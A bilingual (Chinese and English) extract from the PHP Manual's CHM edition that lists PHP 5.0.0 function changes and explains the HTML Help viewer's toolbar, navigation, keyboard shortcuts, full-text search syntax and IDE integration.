5.0.0 | apache_get_modules | 可用于Apache 1或PHP Apache 2 filter API。 在此之前, 只可用于 Apache 2 handler API。
apache_get_version | 可用于 Apache 2 filter API.
checkdnsrr | 增加了AAAA的记录类型。
curl_setopt | 引入 CURLOPT_FTP_USE_EPRT, CURLOPT_NOSIGNAL, CURLOPT_UNRESTRICTED_AUTH, CURLOPT_BUFFERSIZE, CURLOPT_HTTPAUTH, CURLOPT_PROXYPORT, CURLOPT_PROXYTYPE, CURLOPT_SSLCERTTYPE, and CURLOPT_HTTP200ALIASES.
dirname | dirname 的操作从 PHP 5.0.0 版开始是二进制安全的。
fgetss | 参数 length 从 此开始可选。
file | 增加了参数 context
file | Prior to PHP 5.0.0 the flags parameter only covered include_path and was enabled with 1
file_get_contents | Added context support.
file_put_contents | Added context support
is_a | This function became deprecated in favour of the instanceof operator. Calling this function will result in an E_STRICT warning.
is_executable | is_executable 开始可用以于 Windows。
jdtojewish | 增加了参数 fl。
mkdir | 添加 recursive 参数。
mkdir | mkdir 也可用于某些 URL 封装协议。参见 的列表看看 mkdir 支持哪些 URL 封装协议。
mysql_fetch_object | Added the ability to return as a different object.
opendir | path 支持 ftp:// URL wrapper
parse_ini_file | 该函数也开始处理选项值内的新行。
realpath | 在此之前的版本中，如果 path 传入了空或者 NULL，将导致 realpath 返回脚本当前的目录。
rename | rename 也可用于某些 URL 封装协议。参见 的列表看看 rename 支持哪些 URL 封装协议。
rmdir | 自 PHP 5.0.0 起 rmdir 也可用于某些 URL 封装协议。参见 的列表看看 rmdir 支持哪些 URL 封装协议。
socket_create | 增加 AF_INET6 支持。
strip_tags | strip_tags 变为二进制安全的。
strrpos | 参数 needle 可以是一个多字符的字符串。
strrpos | 引入 offset 参数。
strtotime | Microseconds began to be allowed, but they are ignored.
unlink | 自 PHP 5.0.0 起 unlink 也可以用于某些 URL 封装协议。参考 中的列表看哪些封装协议支持 unlink。

User Contributed Notes

There are no user contributed notes for this page.


CHM 版本

  • 关于此版本
  • Using PHP Manual CHM Edition
    • The HTML Help Toolbar
    • The Navigation Pane
    • Keyboard Shortcuts
  • The Full Text Search
    • General searching rules
    • Searching for words or phrases
    • Defining search terms
    • Using nested expressions when searching
  • Integrating the PHP Manual

User Contributed Notes

There are no user contributed notes for this page.


关于此版本

PHP 手册的 Windows HTML Help 版本是针对开发人员的，他们希望每时每刻都有手册在手头，并且不需要等待远程页面下载就可以阅读手册以及用户注解。此版本给你完整的手册内容加上用户注解，以及一些很棒的特色。这是由我们用来生成此格式的脚本产生的阅读程序以及其他人在皮肤样式上的贡献所提供的。

PHP 手册的此发行包中由很多文件组成，包括主要的手册文件 php_manual_zh.chm。你可以通过双击此文件查看本手册（你可能已经猜到了）。 你可能也会在目录中看到 php_manual_zh.chw 文件，该文件是在你第一次使用索引标签时生成的，包含了手册页面的索引。

对那些对 Microsoft HTML Help 的技术细节有兴趣的人来说，» http://www.helpware.net/ 是一个很棒的资源。有关 Microsoft 帮助格式和服务历史中的 Windows HTML Help 的更多信息与配置，见 » WinWriters article。

User Contributed Notes

There are no user contributed notes for this page.


Using PHP Manual CHM Edition

Table of Contents

  • The HTML Help Toolbar
  • The Navigation Pane
  • Keyboard Shortcuts

When you double click on a CHM, a HTML Help Viewer window opens with three panes. On the left side of the window is the Navigation pane. It contains four navigational tabs: the Contents, Index, Search and Favorites tabs. On the right side of the window is the Topic pane. It displays the selected help topic, or the default help topic on startup. The help pages are all separate HTML files, your Internet Explorer displays the pages in the Topic pane. The third pane is the toolbar, which is located below the help window title bar. You can adjust the horizontal layout with dragging the vertical border between the Navigation pane and the Topic pane.

Note, that when you open the CHM the first time, it may appear in a strange position and size. From then, Windows remembers the window position, size and the last opened tab. All these including your favorites are stored in a file named hh.dat. If you move your file to another directory, all these remembered settings will be lost (including your favorites listing!). If you replace your CHM file with a new one, with the same name, this is not a problem though. The file names and path values are stored in hh.dat.

User Contributed Notes

There are no user contributed notes for this page.


The HTML Help Toolbar

The HTML Help Toolbar contains the following icons, when you view the PHP Manual:

  • Hide/Show - Hides/shows the navigation pane.
  • Locate - Locates a topic in the contents tab (in case you reached a topic with search, index or favorites, and would like to see where it is in the table of contents tree view).
  • Back - Goes back in the history.
  • Forward - Goes forward in the history.
  • Refresh - Reloads the current page.
  • Home - Opens the startup page of the CHM.
  • Print - Opens the print dialog box.
  • Options - Provides a dropdown with more options.
Using this toolbar is really easy, many of the toolbar icons are strongly related to their Internet Explorer equivalents.

User Contributed Notes

There are no user contributed notes for this page.


The Navigation Pane

The Navigation Pane contains four navigational tabs: the Contents, Index, Search and Favorites tabs. These all provide different methods to access a topic in the help file.

  • The contents tab reveals a tree like table of contents, where you can navigate to the desired topic by opening and closing parts of the tree. You can even access the deepest sections using this TOC. If you right click on an item here and choose "Print...", you'll have the option to print the selected topic or the selected topic and all subtopics. However printing is not the initial goal of this representation of the manual (the PDF version is suitable for printing).
  • The index tab lists a huge number of "keywords" (actually manual page titles). You can pick one, or start to type a keyword, see the list adjusting to your input, and then click on a topic, or press enter if the selected topic is the one you would like to see.
  • The search tab shows one of the most powerful features of the HTML Help Viewer, the full text search (also known as FTS). Here you can type in your search expression, optionally connecting words with AND/OR/NEAR/NOT. Before you click 'List topics', you can also set some options at the bottom. After the search results are displayed, you'll realize that manual text and user note results are separated. To sort out the two types, click on the 'Location' column header. Now from the search results list, you can pick a topic, and see it's page. The keywords you searched for are highlighted on the page.
  • The favorites tab enables you to store your most used topics in a list, easily accessible. Here you can see the list, add the current topic to it, remove one, or display a selected item. You can also specify your own title for the favorite, by typing it into the 'Current topic:' box. The user note page titles are prepended with a 'N:' string so you can distinguish them from normal manual pages in the favorites listing.

User Contributed Notes

There are no user contributed notes for this page.


Keyboard Shortcuts

There are many keyboard shortcuts you can use to increase your productivity. Many users find it more appropriate to use these keyboard shortcuts to access topics, instead of clicking.

General Help Viewer Shortcuts
To | Press
Close the Help Viewer | ALT+F4
Display the Options menu | ALT+O
Hide or show the Navigation pane | ALT+O, and then T
Print a topic | ALT+O, and then P
Move back to the previous topic | ALT+LEFT ARROW
Move forward to the next topic (provided you have viewed it just previously) | ALT+RIGHT ARROW
Turn on or off search highlighting. | ALT+O, and then O
Return to the help file home page | ALT+O, and then H
Switch between the Navigation pane and the Topic pane | F6
Scroll through all the links in a topic or through all the options on a Navigation pane tab | TAB
Display context (right click) menu | SHIFT+F10
Contents Tab Shortcuts
To | Press
Display the Contents tab | ALT+C
Open and close a book or folder | PLUS SIGN and MINUS SIGN, or LEFT ARROW and RIGHT ARROW
Select a topic | DOWN ARROW and UP ARROW
Display the selected topic | ENTER
Index Tab Shortcuts
To | Press
Display the Index tab | ALT+N
Type a keyword to search for | ALT+W, and then type the word
Select a keyword in the list | UP ARROW and DOWN ARROW
Display the associated topic | ENTER or ALT+D
Search Tab shortcuts
To | Press
Display the Search tab | ALT+S
Type a keyword to search for | ALT+W, and then type the word
Start a search | ALT+L
Select a topic in the results list | ALT+T, and then UP ARROW and DOWN ARROW
Display the selected topic | ENTER or ALT+D
Search for a keyword in the result list of a prior search | ALT+U
Search for words similar to the keyword. For example, to find words like "running" and "runs" for the keyword "run" | ALT+M
Only search through topic titles | ALT+R
Favorites Tab Shortcuts
To | Press
Display the Favorites tab | ALT+I
Add the currently displayed topic to the Favorites list | ALT+A
Select a topic in the Favorites list | ALT+P, and then UP ARROW and DOWN ARROW
Display the selected topic | ENTER or ALT+D
Remove the selected topic from the list | ALT+R
Topic Pane Shortcuts
To | Press
Index Lookup | Select the words you would like to look up and press F1
Find on page | CTRL+F, and then adjust options
Refresh page | F5

User Contributed Notes

There are no user contributed notes for this page.


The Full Text Search

Table of Contents

  • General searching rules
  • Searching for words or phrases
  • Defining search terms
  • Using nested expressions when searching

This edition of the PHP Manual includes an advanced full text search possibility provided by the viewer application. This enables users to search through every word in the help file to find a match. For example, if a user does a full-text search on the word "Apache", every topic that contains the word "Apache" will be listed. Advanced full-text search allows a user to search using boolean, wildcard, and nested expressions. A user can also limit the search to previous results, match similar words, or search topic titles only.

The usage of the search feature is fairly straightforward. Click on the search tab, type in the desired words and press ENTER (or click on "List Topics"). Then you'll receive a list of matches from the PHP Manual (and the notes). You can use the button with a right arrow on it to add boolean operators to your search (or you can type them in). As you see the results, you can use the column headings (Title, Location and Rank) to sort the topic list. The default order is by Rank. You can also adjust some parameters at the bottom of this tab.

The words found are highlighted on the current page in the Topic pane by default. You can turn off this feature by choosing the "Search Highlight Off" menu item in the Options menu. To can get this feature back similarly. If you are viewing a long topic, only the first 500 instances of a search word or phrase will be highlighted, due to a limitation of the viewer.

User Contributed Notes

There are no user contributed notes for this page.


General searching rules

A basic search consists of the word or phrase you want to find. You can use wildcard expressions, nested expressions, boolean operators, similar word matches, a previous results list, or topic titles to further define your search.

The basic rules for formulating queries are as follows:

  • Searches are not case-sensitive, so you can type your search in uppercase or lowercase characters.
  • You may search for any combination of letters (a-z) and numbers (0-9). You cannot search for single letters (a, b, c, etc.) and common words, like: an, and, as, at, be, but, by, do, for, from, have, he, in, it, not, of, on, or, she, that, the, there, they, this, to, we, which, with, you.
  • Punctuation marks such as the period (.), colon (:), semicolon (;), comma (,), and hyphen (-) are ignored during a search.
  • Group the elements of your search using double quotes or parentheses to set apart each element. You cannot search for quotation marks.

Note:

If you are searching for a file name with an extension, you should group the entire string in double quotes, ("filename.ext"). Otherwise, the period will break the file name into two separate terms. The default operation between terms is AND, so you will create the logical equivalent to "filename AND ext."

User Contributed Notes

There are no user contributed notes for this page.


Searching for words or phrases

You can search for words or phrases and use wildcard expressions. Wildcard expressions allow you to search for one or more characters using a question mark or asterisk. The table below describes the results of these different kinds of searches.

Word and phrase searches
Search for | Example | Results
A single word | select | Topics that contain the word "select". (You will also find its grammatical variations, such as "selector" and "selection".)
A phrase | "new operator" or new operator | Topics that contain the literal phrase "new operator" and all its grammatical variations. Without the quotation marks, the query is equivalent to specifying "new AND operator," which will find topics containing both of the individual words, instead of the phrase.
Wildcard expressions | esc* or HT?? | Results for the first example include topics that contain the terms "ESC", "escape", "escalation", and so on. The asterisk cannot be the only character in the term. Results for the second example include topics that contain the terms "HTTP", "HTML" and so on. The question mark cannot be the only character in the term.

Note:

Select the Match similar words check box to include minor grammatical variations for the phrase you search. This feature only locates variations of the word with common suffixes. For example, a search on the word "add" will find "added," but it will not find "additive". This option is independent of other options or syntax. If you do a titles-only search, variations in titles will be matched. If you use quotes (or any other query operator) any variation of the word can appear; for example, "stemmed search" will also match "stemming search".

User Contributed Notes

There are no user contributed notes for this page.


Defining search terms

The AND, OR, NOT, and NEAR operators enable you to precisely define your search by creating a relationship between search terms. The following table shows how you can use each of these operators. If no operator is specified, AND is used. For example, the query "server cgi security" is equivalent to "server AND cgi AND security".

Search operators
Search for | Example | Results
Both terms in the same topic | http AND apache | Topics containing both the words "http" and "apache".
Either term in a topic | ming OR swflib | Topics containing either the word "ming" or the word "swflib" or both.
The first term without the second term | xml NOT expat | Topics containing the word "xml" but not the word "expat".
Both terms in the same topic, close together | database NEAR security | Topics containing the word "database" within eight words of the word "security".

Note:

The |, &, and ! characters can also be used in place of OR AND and NOT respectively. This may not work if you use a very old version of the viewer.

User Contributed Notes

There are no user contributed notes for this page.


Using nested expressions when searching

Nested expressions allow you to create complex searches for information. For example, "html AND ((smtp OR pop3) NEAR mail)" finds topics containing the word "html" along with the words "smtp" and "mail" close together, or containing "html" along with the words "pop3" and "mail" close together.

The basic rules for searching help topics using nested expressions are as follows:

  • You can use parentheses to nest expressions within a query. The expressions in parentheses are evaluated before the rest of the query.
  • If a query does not contain a nested expression, it is evaluated from left to right. For example: "mail NOT pop3 OR smtp" finds topics containing the word "mail" without the word "pop3" or topics containing the word "smtp". On the other hand, "mail NOT (pop3 OR smtp)" finds topics containing the word "mail" without either of the words "pop3" or "smtp".
  • You cannot nest expressions more than five levels deep.

User Contributed Notes

There are no user contributed notes for this page.


Integrating the PHP Manual

Note:

The information provided here is mainly aimed at IDE authors, or advanced users who would like to integrate this CHM file to their favorite IDEs or other production environment components.

There are several editors out there with support for CHM integration, but you may need to know a few things about what the CHM contains to successfully integrate the manual into your environment.

The CHM is built using XSL style sheets from XML sources. This is unique currently in the PHP Manual family, as all other versions are generated using DSSSL style sheets. This also means, that non-intentional rendering differences may come up. A special conversion script is run on the XSLT output, adding several cute features, and packing up the manual with the preferences files and skin examples.

If you never worked with CHMs, you can think of them as compressed files with OS supported access for files inside and some added search and index support. However CHMs can only be viewed using the HTML Help Viewer, you can directly access files inside them using a special URL prefix, the CHM file name and the file you request from inside. As all the help content is stored in HTML files, you can show pages of the CHM in Internet Explorer.

Assume that you placed your php_manual_en.chm to c:\phpmanual the index file in the manual (which you see the first time) can be accessed with the following URL: mk:@MSITStore:C:\phpmanual\php_manual_en.chm::/_index.html. Here mk:@MSITStore: is the special "protocol", C:\phpmanual\php_manual_en.chm is the CHM with it's full path. The /_index.html part is the path to the index file inside the CHM and :: is just what you need to put between the CHM path and this file path.

Note:

All files are in the root directory of the CHM, unlike the previous CHM versions which included a language directory. Images, style sheets and other supplemental files have names starting with an underscore (like the main index shown above), to avoid name collisions.

The names of generated files follow the same rules as the online manual, except that the extension is .html and not .php. The most important is that function documentation files are named function.FUNCNAME.html where FUNCNAME is the function name, with all underscores converted to hyphens. Some examples are function.echo.html, function.mysql-close.html, function.imagecopy.html.

Using all this information, you can show a manual page for a function requested by a user. A simple example is included in the distribution, named php_quickref.hta. This is a » HTML Application to demonstrate the simple process of showing a manual page for a function. The quickRef() function defined therein does the job.

If you would like to integrate the manual into an IDE without direct support for the PHP manual (actually the underscore to hyphen conversion), you can use the included _function.html file to access a function page. This file is simply a redirector, and can be parameterized via the URL, as _function.html#mysql_close. This page will redirect you to the mysql_close function page (function.mysql-close.html) automatically. You can provide the full path of this file if your IDE supports context sensitive help, and provide the IDE specified string as the parameter. An example for this is the UltraEdit 9 intergation (see the edition's website).

The index of the manual (accessible via the index tab on the navigation pane) can also be used for integrational purposes. All the HTML pages are included in the index with their titles as index terms (including function description pages).

If you are a desktop application developer and would like to tightly integrate the CHM into your program (such as displaying the TOC tree in your IDE's help box), you can find more information at » http://www.helpware.net/, as well as links to other useful resources. The official site for HTML Help is at » http://www.microsoft.com/download/en/details.aspx?id=21138.

User Contributed Notes

There are no user contributed notes for this page.